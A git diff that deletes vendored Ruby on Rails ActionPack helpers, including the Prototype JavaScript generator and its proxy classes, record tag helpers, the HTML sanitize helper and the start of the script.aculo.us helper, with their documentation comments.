-          # <tt>:before</tt>:: HTML is inserted immediately preceding the element.
-          # <tt>:after</tt>::  HTML is inserted immediately following the element.
-          #
-          # +options_for_render+ may be either a string of HTML to insert, or a hash
-          # of options to be passed to ActionView::Base#render.  For example:
-          #
-          #   # Insert the rendered 'navigation' partial just before the DOM
-          #   # element with ID 'content'.
-          #   # Generates: Element.insert("content", { before: "-- Contents of 'navigation' partial --" });
-          #   page.insert_html :before, 'content', :partial => 'navigation'
-          #
-          #   # Add a list item to the bottom of the <ul> with ID 'list'.
-          #   # Generates: Element.insert("list", { bottom: "<li>Last item</li>" });
-          #   page.insert_html :bottom, 'list', '<li>Last item</li>'
-          #
-          def insert_html(position, id, *options_for_render)
-            content = javascript_object_for(render(*options_for_render))
-            record "Element.insert(\"#{id}\", { #{position.to_s.downcase}: #{content} });"
-          end
-
-          # Replaces the inner HTML of the DOM element with the given +id+.
-          #
-          # +options_for_render+ may be either a string of HTML to insert, or a hash
-          # of options to be passed to ActionView::Base#render.  For example:
-          #
-          #   # Replace the HTML of the DOM element having ID 'person-45' with the
-          #   # 'person' partial for the appropriate object.
-          #   # Generates:  Element.update("person-45", "-- Contents of 'person' partial --");
-          #   page.replace_html 'person-45', :partial => 'person', :object => @person
-          #
-          def replace_html(id, *options_for_render)
-            call 'Element.update', id, render(*options_for_render)
-          end
-
-          # Replaces the "outer HTML" (i.e., the entire element, not just its
-          # contents) of the DOM element with the given +id+.
-          #
-          # +options_for_render+ may be either a string of HTML to insert, or a hash
-          # of options to be passed to ActionView::Base#render.  For example:
-          #
-          #   # Replace the DOM element having ID 'person-45' with the
-          #   # 'person' partial for the appropriate object.
-          #   page.replace 'person-45', :partial => 'person', :object => @person
-          #
-          # This allows the same partial that is used for the +insert_html+ to
-          # be also used for the input to +replace+ without resorting to
-          # the use of wrapper elements.
-          #
-          # Examples:
-          #
-          #   <div id="people">
-          #     <%= render :partial => 'person', :collection => @people %>
-          #   </div>
-          #
-          #   # Insert a new person
-          #   #
-          #   # Generates: new Insertion.Bottom({object: "Matz", partial: "person"}, "");
-          #   page.insert_html :bottom, :partial => 'person', :object => @person
-          #
-          #   # Replace an existing person
-          #
-          #   # Generates: Element.replace("person_45", "-- Contents of partial --");
-          #   page.replace 'person_45', :partial => 'person', :object => @person
-          #
-          def replace(id, *options_for_render)
-            call 'Element.replace', id, render(*options_for_render)
-          end
-
-          # Removes the DOM elements with the given +ids+ from the page.
-          #
-          # Example:
-          #
-          #  # Remove a few people
-          #  # Generates: ["person_23", "person_9", "person_2"].each(Element.remove);
-          #  page.remove 'person_23', 'person_9', 'person_2'
-          #
-          def remove(*ids)
-            loop_on_multiple_args 'Element.remove', ids
-          end
-
-          # Shows hidden DOM elements with the given +ids+.
-          #
-          # Example:
-          #
-          #  # Show a few people
-          #  # Generates: ["person_6", "person_13", "person_223"].each(Element.show);
-          #  page.show 'person_6', 'person_13', 'person_223'
-          #
-          def show(*ids)
-            loop_on_multiple_args 'Element.show', ids
-          end
-
-          # Hides the visible DOM elements with the given +ids+.
-          #
-          # Example:
-          #
-          #  # Hide a few people
-          #  # Generates: ["person_29", "person_9", "person_0"].each(Element.hide);
-          #  page.hide 'person_29', 'person_9', 'person_0'
-          #
-          def hide(*ids)
-            loop_on_multiple_args 'Element.hide', ids
-          end
-
-          # Toggles the visibility of the DOM elements with the given +ids+.
-          # Example:
-          #
-          #  # Show a few people
-          #  # Generates: ["person_14", "person_12", "person_23"].each(Element.toggle);
-          #  page.toggle 'person_14', 'person_12', 'person_23'      # Hides the elements
-          #  page.toggle 'person_14', 'person_12', 'person_23'      # Shows the previously hidden elements
-          #
-          def toggle(*ids)
-            loop_on_multiple_args 'Element.toggle', ids
-          end
-
-          # Displays an alert dialog with the given +message+.
-          #
-          # Example:
-          #
-          #   # Generates: alert('This message is from Rails!')
-          #   page.alert('This message is from Rails!')
-          def alert(message)
-            call 'alert', message
-          end
-
-          # Redirects the browser to the given +location+ using JavaScript, in the same form as +url_for+.
-          #
-          # Examples:
-          #
-          #  # Generates: window.location.href = "/mycontroller";
-          #  page.redirect_to(:action => 'index')
-          #
-          #  # Generates: window.location.href = "/account/signup";
-          #  page.redirect_to(:controller => 'account', :action => 'signup')
-          def redirect_to(location)
-            url = location.is_a?(String) ? location : @context.url_for(location)
-            record "window.location.href = #{url.inspect}"
-          end
-
-          # Reloads the browser's current +location+ using JavaScript
-          #
-          # Examples:
-          #
-          #  # Generates: window.location.reload();
-          #  page.reload
-          def reload
-            record 'window.location.reload()'
-          end
-
-          # Calls the JavaScript +function+, optionally with the given +arguments+.
-          #
-          # If a block is given, the block will be passed to a new JavaScriptGenerator;
-          # the resulting JavaScript code will then be wrapped inside <tt>function() { ... }</tt>
-          # and passed as the called function's final argument.
-          #
-          # Examples:
-          #
-          #   # Generates: Element.replace(my_element, "My content to replace with.")
-          #   page.call 'Element.replace', 'my_element', "My content to replace with."
-          #
-          #   # Generates: alert('My message!')
-          #   page.call 'alert', 'My message!'
-          #
-          #   # Generates:
-          #   #     my_method(function() {
-          #   #       $("one").show();
-          #   #       $("two").hide();
-          #   #    });
-          #   page.call(:my_method) do |p|
-          #      p[:one].show
-          #      p[:two].hide
-          #   end
-          def call(function, *arguments, &block)
-            record "#{function}(#{arguments_for_call(arguments, block)})"
-          end
-
-          # Assigns the JavaScript +variable+ the given +value+.
-          #
-          # Examples:
-          #
-          #  # Generates: my_string = "This is mine!";
-          #  page.assign 'my_string', 'This is mine!'
-          #
-          #  # Generates: record_count = 33;
-          #  page.assign 'record_count', 33
-          #
-          #  # Generates: tabulated_total = 47
-          #  page.assign 'tabulated_total', @total_from_cart
-          #
-          def assign(variable, value)
-            record "#{variable} = #{javascript_object_for(value)}"
-          end
-
-          # Writes raw JavaScript to the page.
-          #
-          # Example:
-          #
-          #  page << "alert('JavaScript with Prototype.');"
-          def <<(javascript)
-            @lines << javascript
-          end
-
-          # Executes the content of the block after a delay of +seconds+. Example:
-          #
-          #   # Generates:
-          #   #     setTimeout(function() {
-          #   #     ;
-          #   #     new Effect.Fade("notice",{});
-          #   #     }, 20000);
-          #   page.delay(20) do
-          #     page.visual_effect :fade, 'notice'
-          #   end
-          def delay(seconds = 1)
-            record "setTimeout(function() {\n\n"
-            yield
-            record "}, #{(seconds * 1000).to_i})"
-          end
-
-          # Starts a script.aculo.us visual effect. See
-          # ActionView::Helpers::ScriptaculousHelper for more information.
-          def visual_effect(name, id = nil, options = {})
-            record @context.send(:visual_effect, name, id, options)
-          end
-
-          # Creates a script.aculo.us sortable element. Useful
-          # to recreate sortable elements after items get added
-          # or deleted.
-          # See ActionView::Helpers::ScriptaculousHelper for more information.
-          def sortable(id, options = {})
-            record @context.send(:sortable_element_js, id, options)
-          end
-
-          # Creates a script.aculo.us draggable element.
-          # See ActionView::Helpers::ScriptaculousHelper for more information.
-          def draggable(id, options = {})
-            record @context.send(:draggable_element_js, id, options)
-          end
-
-          # Creates a script.aculo.us drop receiving element.
-          # See ActionView::Helpers::ScriptaculousHelper for more information.
-          def drop_receiving(id, options = {})
-            record @context.send(:drop_receiving_element_js, id, options)
-          end
-
-          private
-            def loop_on_multiple_args(method, ids)
-              record(ids.size>1 ?
-                "#{javascript_object_for(ids)}.each(#{method})" :
-                "#{method}(#{::ActiveSupport::JSON.encode(ids.first)})")
-            end
-
-            def page
-              self
-            end
-
-            def record(line)
-              "#{line.to_s.chomp.gsub(/\;\z/, '')};".tap do |_line|
-                self << _line
-              end
-            end
-
-            def render(*options_for_render)
-              old_format = @context && @context.template_format
-              @context.template_format = :html if @context
-              Hash === options_for_render.first ?
-                @context.render(*options_for_render) :
-                  options_for_render.first.to_s
-            ensure
-              @context.template_format = old_format if @context
-            end
-
-            def javascript_object_for(object)
-              ::ActiveSupport::JSON.encode(object)
-            end
-
-            def arguments_for_call(arguments, block = nil)
-              arguments << block_to_function(block) if block
-              arguments.map { |argument| javascript_object_for(argument) }.join ', '
-            end
-
-            def block_to_function(block)
-              generator = self.class.new(@context, &block)
-              literal("function() { #{generator.to_s} }")
-            end
-
-            def method_missing(method, *arguments)
-              JavaScriptProxy.new(self, method.to_s.camelize)
-            end
-        end
-      end
-
-      # Yields a JavaScriptGenerator and returns the generated JavaScript code.
-      # Use this to update multiple elements on a page in an Ajax response.
-      # See JavaScriptGenerator for more information.
-      #
-      # Example:
-      #
-      #   update_page do |page|
-      #     page.hide 'spinner'
-      #   end
-      def update_page(&block)
-        JavaScriptGenerator.new(@template, &block).to_s.html_safe
-      end
-
-      # Works like update_page but wraps the generated JavaScript in a <script>
-      # tag. Use this to include generated JavaScript in an ERb template.
-      # See JavaScriptGenerator for more information.
-      #
-      # +html_options+ may be a hash of <script> attributes to be passed
-      # to ActionView::Helpers::JavaScriptHelper#javascript_tag.
-      def update_page_tag(html_options = {}, &block)
-        javascript_tag update_page(&block), html_options
-      end
-
-    protected
-      def options_for_ajax(options)
-        js_options = build_callbacks(options)
-
-        js_options['asynchronous'] = options[:type] != :synchronous
-        js_options['method']       = method_option_to_s(options[:method]) if options[:method]
-        js_options['insertion']    = "'#{options[:position].to_s.downcase}'" if options[:position]
-        js_options['evalScripts']  = options[:script].nil? || options[:script]
-
-        if options[:form]
-          js_options['parameters'] = 'Form.serialize(this)'
-        elsif options[:submit]
-          js_options['parameters'] = "Form.serialize('#{options[:submit]}')"
-        elsif options[:with]
-          js_options['parameters'] = options[:with]
-        end
-
-        if protect_against_forgery? && !options[:form]
-          if js_options['parameters']
-            js_options['parameters'] << " + '&"
-          else
-            js_options['parameters'] = "'"
-          end
-          js_options['parameters'] << "#{request_forgery_protection_token}=' + encodeURIComponent('#{escape_javascript form_authenticity_token}')"
-        end
-
-        options_for_javascript(js_options)
-      end
-
-      def method_option_to_s(method)
-        (method.is_a?(String) and !method.index("'").nil?) ? method : "'#{method}'"
-      end
-
-      def build_observer(klass, name, options = {})
-        if options[:with] && (options[:with] !~ /[\{=(.]/)
-          options[:with] = "'#{options[:with]}=' + encodeURIComponent(value)"
-        else
-          options[:with] ||= 'value' unless options[:function]
-        end
-
-        callback = options[:function] || remote_function(options)
-        javascript  = "new #{klass}('#{name}', "
-        javascript << "#{options[:frequency]}, " if options[:frequency]
-        javascript << "function(element, value) {"
-        javascript << "#{callback}}"
-        javascript << ")"
-        javascript_tag(javascript)
-      end
-
-      def build_callbacks(options)
-        callbacks = {}
-        options.each do |callback, code|
-          if CALLBACKS.include?(callback)
-            name = 'on' + callback.to_s.capitalize
-            callbacks[name] = "function(request){#{code}}"
-          end
-        end
-        callbacks
-      end
-    end
-
-    # Converts chained method calls on DOM proxy elements into JavaScript chains
-    class JavaScriptProxy < ActiveSupport::BasicObject #:nodoc:
-
-      def initialize(generator, root = nil)
-        @generator = generator
-        @generator << root if root
-      end
-
-      private
-        def method_missing(method, *arguments, &block)
-          if method.to_s =~ /(.*)=$/
-            assign($1, arguments.first)
-          else
-            call("#{method.to_s.camelize(:lower)}", *arguments, &block)
-          end
-        end
-
-        def call(function, *arguments, &block)
-          append_to_function_chain!("#{function}(#{@generator.send(:arguments_for_call, arguments, block)})")
-          self
-        end
-
-        def assign(variable, value)
-          append_to_function_chain!("#{variable} = #{@generator.send(:javascript_object_for, value)}")
-        end
-
-        def function_chain
-          @function_chain ||= @generator.instance_variable_get(:@lines)
-        end
-
-        def append_to_function_chain!(call)
-          function_chain[-1].chomp!(';')
-          function_chain[-1] += ".#{call};"
-        end
-    end
-
-    class JavaScriptElementProxy < JavaScriptProxy #:nodoc:
-      def initialize(generator, id)
-        @id = id
-        super(generator, "$(#{::ActiveSupport::JSON.encode(id)})")
-      end
-
-      # Allows access of element attributes through +attribute+. Examples:
-      #
-      #   page['foo']['style']                  # => $('foo').style;
-      #   page['foo']['style']['color']         # => $('blank_slate').style.color;
-      #   page['foo']['style']['color'] = 'red' # => $('blank_slate').style.color = 'red';
-      #   page['foo']['style'].color = 'red'    # => $('blank_slate').style.color = 'red';
-      def [](attribute)
-        append_to_function_chain!(attribute)
-        self
-      end
-
-      def []=(variable, value)
-        assign(variable, value)
-      end
-
-      def replace_html(*options_for_render)
-        call 'update', @generator.send(:render, *options_for_render)
-      end
-
-      def replace(*options_for_render)
-        call 'replace', @generator.send(:render, *options_for_render)
-      end
-
-      def reload(options_for_replace = {})
-        replace(options_for_replace.merge({ :partial => @id.to_s }))
-      end
-
-    end
-
-    class JavaScriptVariableProxy < JavaScriptProxy #:nodoc:
-      def initialize(generator, variable)
-        @variable = variable
-        @empty    = true # only record lines if we have to.  gets rid of unnecessary linebreaks
-        super(generator)
-      end
-
-      # The JSON Encoder calls this to check for the +to_json+ method
-      # Since it's a blank slate object, I suppose it responds to anything.
-      def respond_to?(method)
-        true
-      end
-
-      def to_json(options = nil)
-        @variable
-      end
-
-      private
-        def append_to_function_chain!(call)
-          @generator << @variable if @empty
-          @empty = false
-          super
-        end
-    end
-
-    class JavaScriptCollectionProxy < JavaScriptProxy #:nodoc:
-      ENUMERABLE_METHODS_WITH_RETURN = [:all, :any, :collect, :map, :detect, :find, :find_all, :select, :max, :min, :partition, :reject, :sort_by, :in_groups_of, :each_slice] unless defined? ENUMERABLE_METHODS_WITH_RETURN
-      ENUMERABLE_METHODS = ENUMERABLE_METHODS_WITH_RETURN + [:each] unless defined? ENUMERABLE_METHODS
-      attr_reader :generator
-      delegate :arguments_for_call, :to => :generator
-
-      def initialize(generator, pattern)
-        super(generator, @pattern = pattern)
-      end
-
-      def each_slice(variable, number, &block)
-        if block
-          enumerate :eachSlice, :variable => variable, :method_args => [number], :yield_args => %w(value index), :return => true, &block
-        else
-          add_variable_assignment!(variable)
-          append_enumerable_function!("eachSlice(#{::ActiveSupport::JSON.encode(number)});")
-        end
-      end
-
-      def grep(variable, pattern, &block)
-        enumerate :grep, :variable => variable, :return => true, :method_args => [pattern], :yield_args => %w(value index), &block
-      end
-
-      def in_groups_of(variable, number, fill_with = nil)
-        arguments = [number]
-        arguments << fill_with unless fill_with.nil?
-        add_variable_assignment!(variable)
-        append_enumerable_function!("inGroupsOf(#{arguments_for_call arguments});")
-      end
-
-      def inject(variable, memo, &block)
-        enumerate :inject, :variable => variable, :method_args => [memo], :yield_args => %w(memo value index), :return => true, &block
-      end
-
-      def pluck(variable, property)
-        add_variable_assignment!(variable)
-        append_enumerable_function!("pluck(#{::ActiveSupport::JSON.encode(property)});")
-      end
-
-      def zip(variable, *arguments, &block)
-        add_variable_assignment!(variable)
-        append_enumerable_function!("zip(#{arguments_for_call arguments}")
-        if block
-          function_chain[-1] += ", function(array) {"
-          yield ::ActiveSupport::JSON::Variable.new('array')
-          add_return_statement!
-          @generator << '});'
-        else
-          function_chain[-1] += ');'
-        end
-      end
-
-      private
-        def method_missing(method, *arguments, &block)
-          if ENUMERABLE_METHODS.include?(method)
-            returnable = ENUMERABLE_METHODS_WITH_RETURN.include?(method)
-            variable   = arguments.first if returnable
-            enumerate(method, {:variable => (arguments.first if returnable), :return => returnable, :yield_args => %w(value index)}, &block)
-          else
-            super
-          end
-        end
-
-        # Options
-        #   * variable - name of the variable to set the result of the enumeration to
-        #   * method_args - array of the javascript enumeration method args that occur before the function
-        #   * yield_args - array of the javascript yield args
-        #   * return - true if the enumeration should return the last statement
-        def enumerate(enumerable, options = {}, &block)
-          options[:method_args] ||= []
-          options[:yield_args]  ||= []
-          yield_args  = options[:yield_args] * ', '
-          method_args = arguments_for_call options[:method_args] # foo, bar, function
-          method_args << ', ' unless method_args.blank?
-          add_variable_assignment!(options[:variable]) if options[:variable]
-          append_enumerable_function!("#{enumerable.to_s.camelize(:lower)}(#{method_args}function(#{yield_args}) {")
-          # only yield as many params as were passed in the block
-          yield(*options[:yield_args].collect { |p| JavaScriptVariableProxy.new(@generator, p) }[0..block.arity-1])
-          add_return_statement! if options[:return]
-          @generator << '});'
-        end
-
-        def add_variable_assignment!(variable)
-          function_chain.push("var #{variable} = #{function_chain.pop}")
-        end
-
-        def add_return_statement!
-          unless function_chain.last =~ /return/
-            function_chain.push("return #{function_chain.pop.chomp(';')};")
-          end
-        end
-
-        def append_enumerable_function!(call)
-          function_chain[-1].chomp!(';')
-          function_chain[-1] += ".#{call}"
-        end
-    end
-
-    class JavaScriptElementCollectionProxy < JavaScriptCollectionProxy #:nodoc:\
-      def initialize(generator, pattern)
-        super(generator, "$$(#{::ActiveSupport::JSON.encode(pattern)})")
-      end
-    end
-  end
-end
-
-require 'action_view/helpers/javascript_helper'
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/raw_output_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/raw_output_helper.rb
deleted file mode 100644
index 93414ae8..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/raw_output_helper.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-module ActionView #:nodoc:
-  module Helpers #:nodoc:
-    module RawOutputHelper
-      def raw(stringish)
-        stringish.to_s.html_safe
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/record_identification_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/record_identification_helper.rb
deleted file mode 100644
index 6c235bff..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/record_identification_helper.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-module ActionView
-  module Helpers
-    module RecordIdentificationHelper
-      # See ActionController::RecordIdentifier.partial_path -- this is just a delegate to that for convenient access in the view.
-      def partial_path(*args, &block)
-        ActionController::RecordIdentifier.partial_path(*args, &block)
-      end
-
-      # See ActionController::RecordIdentifier.dom_class -- this is just a delegate to that for convenient access in the view.
-      def dom_class(*args, &block)
-        ActionController::RecordIdentifier.dom_class(*args, &block)
-      end
-
-      # See ActionController::RecordIdentifier.dom_id -- this is just a delegate to that for convenient access in the view.
-      def dom_id(*args, &block)
-        ActionController::RecordIdentifier.dom_id(*args, &block)
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/record_tag_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/record_tag_helper.rb
deleted file mode 100644
index 0cdb70e2..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/record_tag_helper.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-module ActionView
-  module Helpers
-    module RecordTagHelper
-      # Produces a wrapper DIV element with id and class parameters that
-      # relate to the specified Active Record object. Usage example:
-      #
-      #    <% div_for(@person, :class => "foo") do %>
-      #       <%=h @person.name %>
-      #    <% end %>
-      #
-      # produces:
-      #
-      #    <div id="person_123" class="person foo"> Joe Bloggs </div>
-      #
-      def div_for(record, *args, &block)
-        content_tag_for(:div, record, *args, &block)
-      end
-  
-      # content_tag_for creates an HTML element with id and class parameters
-      # that relate to the specified Active Record object. For example:
-      #
-      #    <% content_tag_for(:tr, @person) do %>
-      #      <td><%=h @person.first_name %></td>
-      #      <td><%=h @person.last_name %></td>
-      #    <% end %>
-      #
-      # would produce the following HTML (assuming @person is an instance of
-      # a Person object, with an id value of 123):
-      #
-      #    <tr id="person_123" class="person">....</tr>
-      #
-      # If you require the HTML id attribute to have a prefix, you can specify it:
-      #
-      #    <% content_tag_for(:tr, @person, :foo) do %> ...
-      #
-      # produces:
-      #    
-      #    <tr id="foo_person_123" class="person">...
-      #
-      # content_tag_for also accepts a hash of options, which will be converted to
-      # additional HTML attributes. If you specify a <tt>:class</tt> value, it will be combined
-      # with the default class name for your object. For example:
-      #
-      #    <% content_tag_for(:li, @person, :class => "bar") %>...
-      #
-      # produces:
-      #
-      #    <li id="person_123" class="person bar">...
-      #
-      def content_tag_for(tag_name, record, *args, &block)
-        prefix  = args.first.is_a?(Hash) ? nil : args.shift
-        options = args.extract_options!
-        options.merge!({ :class => "#{dom_class(record)} #{options[:class]}".strip, :id => dom_id(record, prefix) })
-        content_tag(tag_name, options, &block)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/sanitize_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/sanitize_helper.rb
deleted file mode 100644
index d0b0f958..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/sanitize_helper.rb
+++ /dev/null
@@ -1,251 +0,0 @@
-require 'action_view/helpers/tag_helper'
-
-module ActionView
-  module Helpers #:nodoc:
-    # The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.
-    # These helper methods extend ActionView making them callable within your template files.
-    module SanitizeHelper
-      # This +sanitize+ helper will html encode all tags and strip all attributes that aren't specifically allowed.
-      # It also strips href/src tags with invalid protocols, like javascript: especially.  It does its best to counter any
-      # tricks that hackers may use, like throwing in unicode/ascii/hex values to get past the javascript: filters.  Check out
-      # the extensive test suite.
-      #
-      #   <%= sanitize @article.body %>
-      #
-      # You can add or remove tags/attributes if you want to customize it a bit.  See ActionView::Base for full docs on the
-      # available options.  You can add tags/attributes for single uses of +sanitize+ by passing either the <tt>:attributes</tt> or <tt>:tags</tt> options:
-      #
-      # Normal Use
-      #
-      #   <%= sanitize @article.body %>
-      #
-      # Custom Use (only the mentioned tags and attributes are allowed, nothing else)
-      #
-      #   <%= sanitize @article.body, :tags => %w(table tr td), :attributes => %w(id class style)
-      #
-      # Add table tags to the default allowed tags
-      #
-      #   Rails::Initializer.run do |config|
-      #     config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
-      #   end
-      #
-      # Remove tags to the default allowed tags
-      #
-      #   Rails::Initializer.run do |config|
-      #     config.after_initialize do
-      #       ActionView::Base.sanitized_allowed_tags.delete 'div'
-      #     end
-      #   end
-      #
-      # Change allowed default attributes
-      #
-      #   Rails::Initializer.run do |config|
-      #     config.action_view.sanitized_allowed_attributes = 'id', 'class', 'style'
-      #   end
-      #
-      # Please note that sanitizing user-provided text does not guarantee that the
-      # resulting markup is valid (conforming to a document type) or even well-formed.
-      # The output may still contain e.g. unescaped '<', '>', '&' characters and
-      # confuse browsers.
-      #
-      def sanitize(html, options = {})
-        self.class.white_list_sanitizer.sanitize(html, options).try(:html_safe)
-      end
-
-      # Sanitizes a block of CSS code. Used by +sanitize+ when it comes across a style attribute.
-      def sanitize_css(style)
-        self.class.white_list_sanitizer.sanitize_css(style)
-      end
-
-      # Strips all HTML tags from the +html+, including comments.  This uses the
-      # html-scanner tokenizer and so its HTML parsing ability is limited by
-      # that of html-scanner.
-      #
-      # ==== Examples
-      #
-      #   strip_tags("Strip <i>these</i> tags!")
-      #   # => Strip these tags!
-      #
-      #   strip_tags("<b>Bold</b> no more!  <a href='more.html'>See more here</a>...")
-      #   # => Bold no more!  See more here...
-      #
-      #   strip_tags("<div id='top-bar'>Welcome to my website!</div>")
-      #   # => Welcome to my website!
-      def strip_tags(html)
-        self.class.full_sanitizer.sanitize(html).try(:html_safe)
-      end
-
-      # Strips all link tags from +text+ leaving just the link text.
-      #
-      # ==== Examples
-      #   strip_links('<a href="http://www.rubyonrails.org">Ruby on Rails</a>')
-      #   # => Ruby on Rails
-      #
-      #   strip_links('Please e-mail me at <a href="mailto:me@email.com">me@email.com</a>.')
-      #   # => Please e-mail me at me@email.com.
-      #
-      #   strip_links('Blog: <a href="http://www.myblog.com/" class="nav" target=\"_blank\">Visit</a>.')
-      #   # => Blog: Visit
-      def strip_links(html)
-        self.class.link_sanitizer.sanitize(html)
-      end
-
-      module ClassMethods #:nodoc:
-        attr_writer :full_sanitizer, :link_sanitizer, :white_list_sanitizer
-
-        def sanitized_protocol_separator
-          white_list_sanitizer.protocol_separator
-        end
-
-        def sanitized_uri_attributes
-          white_list_sanitizer.uri_attributes
-        end
-
-        def sanitized_bad_tags
-          white_list_sanitizer.bad_tags
-        end
-
-        def sanitized_allowed_tags
-          white_list_sanitizer.allowed_tags
-        end
-
-        def sanitized_allowed_attributes
-          white_list_sanitizer.allowed_attributes
-        end
-
-        def sanitized_allowed_css_properties
-          white_list_sanitizer.allowed_css_properties
-        end
-
-        def sanitized_allowed_css_keywords
-          white_list_sanitizer.allowed_css_keywords
-        end
-
-        def sanitized_shorthand_css_properties
-          white_list_sanitizer.shorthand_css_properties
-        end
-
-        def sanitized_allowed_protocols
-          white_list_sanitizer.allowed_protocols
-        end
-
-        def sanitized_protocol_separator=(value)
-          white_list_sanitizer.protocol_separator = value
-        end
-
-        # Gets the HTML::FullSanitizer instance used by +strip_tags+.  Replace with
-        # any object that responds to +sanitize+.
-        #
-        #   Rails::Initializer.run do |config|
-        #     config.action_view.full_sanitizer = MySpecialSanitizer.new
-        #   end
-        #
-        def full_sanitizer
-          @full_sanitizer ||= HTML::FullSanitizer.new
-        end
-
-        # Gets the HTML::LinkSanitizer instance used by +strip_links+.  Replace with
-        # any object that responds to +sanitize+.
-        #
-        #   Rails::Initializer.run do |config|
-        #     config.action_view.link_sanitizer = MySpecialSanitizer.new
-        #   end
-        #
-        def link_sanitizer
-          @link_sanitizer ||= HTML::LinkSanitizer.new
-        end
-
-        # Gets the HTML::WhiteListSanitizer instance used by sanitize and +sanitize_css+.
-        # Replace with any object that responds to +sanitize+.
-        #
-        #   Rails::Initializer.run do |config|
-        #     config.action_view.white_list_sanitizer = MySpecialSanitizer.new
-        #   end
-        #
-        def white_list_sanitizer
-          @white_list_sanitizer ||= HTML::WhiteListSanitizer.new
-        end
-
-        # Adds valid HTML attributes that the +sanitize+ helper checks for URIs.
-        #
-        #   Rails::Initializer.run do |config|
-        #     config.action_view.sanitized_uri_attributes = 'lowsrc', 'target'
-        #   end
-        #
-        def sanitized_uri_attributes=(attributes)
-          HTML::WhiteListSanitizer.uri_attributes.merge(attributes)
-        end
-
-        # Adds to the Set of 'bad' tags for the +sanitize+ helper.
-        #
-        #   Rails::Initializer.run do |config|
-        #     config.action_view.sanitized_bad_tags = 'embed', 'object'
-        #   end
-        #
-        def sanitized_bad_tags=(attributes)
-          HTML::WhiteListSanitizer.bad_tags.merge(attributes)
-        end
-
-        # Adds to the Set of allowed tags for the +sanitize+ helper.
-        #
-        #   Rails::Initializer.run do |config|
-        #     config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
-        #   end
-        #
-        def sanitized_allowed_tags=(attributes)
-          HTML::WhiteListSanitizer.allowed_tags.merge(attributes)
-        end
-
-        # Adds to the Set of allowed HTML attributes for the +sanitize+ helper.
-        #
-        #   Rails::Initializer.run do |config|
-        #     config.action_view.sanitized_allowed_attributes = 'onclick', 'longdesc'
-        #   end
-        #
-        def sanitized_allowed_attributes=(attributes)
-          HTML::WhiteListSanitizer.allowed_attributes.merge(attributes)
-        end
-
-        # Adds to the Set of allowed CSS properties for the #sanitize and +sanitize_css+ helpers.
-        #
-        #   Rails::Initializer.run do |config|
-        #     config.action_view.sanitized_allowed_css_properties = 'expression'
-        #   end
-        #
-        def sanitized_allowed_css_properties=(attributes)
-          HTML::WhiteListSanitizer.allowed_css_properties.merge(attributes)
-        end
-
-        # Adds to the Set of allowed CSS keywords for the +sanitize+ and +sanitize_css+ helpers.
-        #
-        #   Rails::Initializer.run do |config|
-        #     config.action_view.sanitized_allowed_css_keywords = 'expression'
-        #   end
-        #
-        def sanitized_allowed_css_keywords=(attributes)
-          HTML::WhiteListSanitizer.allowed_css_keywords.merge(attributes)
-        end
-
-        # Adds to the Set of allowed shorthand CSS properties for the +sanitize+ and +sanitize_css+ helpers.
-        #
-        #   Rails::Initializer.run do |config|
-        #     config.action_view.sanitized_shorthand_css_properties = 'expression'
-        #   end
-        #
-        def sanitized_shorthand_css_properties=(attributes)
-          HTML::WhiteListSanitizer.shorthand_css_properties.merge(attributes)
-        end
-
-        # Adds to the Set of allowed protocols for the +sanitize+ helper.
-        #
-        #   Rails::Initializer.run do |config|
-        #     config.action_view.sanitized_allowed_protocols = 'ssh', 'feed'
-        #   end
-        #
-        def sanitized_allowed_protocols=(attributes)
-          HTML::WhiteListSanitizer.allowed_protocols.merge(attributes)
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/scriptaculous_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/scriptaculous_helper.rb
deleted file mode 100644
index 04af2781..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/scriptaculous_helper.rb
+++ /dev/null
@@ -1,226 +0,0 @@
-require 'action_view/helpers/javascript_helper'
-require 'active_support/json'
-
-module ActionView
-  module Helpers
-    # Provides a set of helpers for calling Scriptaculous JavaScript 
-    # functions, including those which create Ajax controls and visual effects.
-    #
-    # To be able to use these helpers, you must include the Prototype 
-    # JavaScript framework and the Scriptaculous JavaScript library in your 
-    # pages. See the documentation for ActionView::Helpers::JavaScriptHelper
-    # for more information on including the necessary JavaScript.
-    #
-    # The Scriptaculous helpers' behavior can be tweaked with various options.
-    # See the documentation at http://script.aculo.us for more information on
-    # using these helpers in your application.
-    module ScriptaculousHelper
-      unless const_defined? :TOGGLE_EFFECTS
-        TOGGLE_EFFECTS = [:toggle_appear, :toggle_slide, :toggle_blind]
-      end
-      
-      # Returns a JavaScript snippet to be used on the Ajax callbacks for
-      # starting visual effects.
-      #
-      # Example:
-      #   <%= link_to_remote "Reload", :update => "posts", 
-      #         :url => { :action => "reload" }, 
-      #         :complete => visual_effect(:highlight, "posts", :duration => 0.5)
-      #
-      # If no +element_id+ is given, it assumes "element" which should be a local
-      # variable in the generated JavaScript execution context. This can be 
-      # used for example with +drop_receiving_element+:
-      #
-      #   <%= drop_receiving_element (...), :loading => visual_effect(:fade) %>
-      #
-      # This would fade the element that was dropped on the drop receiving 
-      # element.
-      #
-      # For toggling visual effects, you can use <tt>:toggle_appear</tt>, <tt>:toggle_slide</tt>, and
-      # <tt>:toggle_blind</tt> which will alternate between appear/fade, slidedown/slideup, and
-      # blinddown/blindup respectively.
-      #
-      # You can change the behaviour with various options, see
-      # http://script.aculo.us for more documentation.
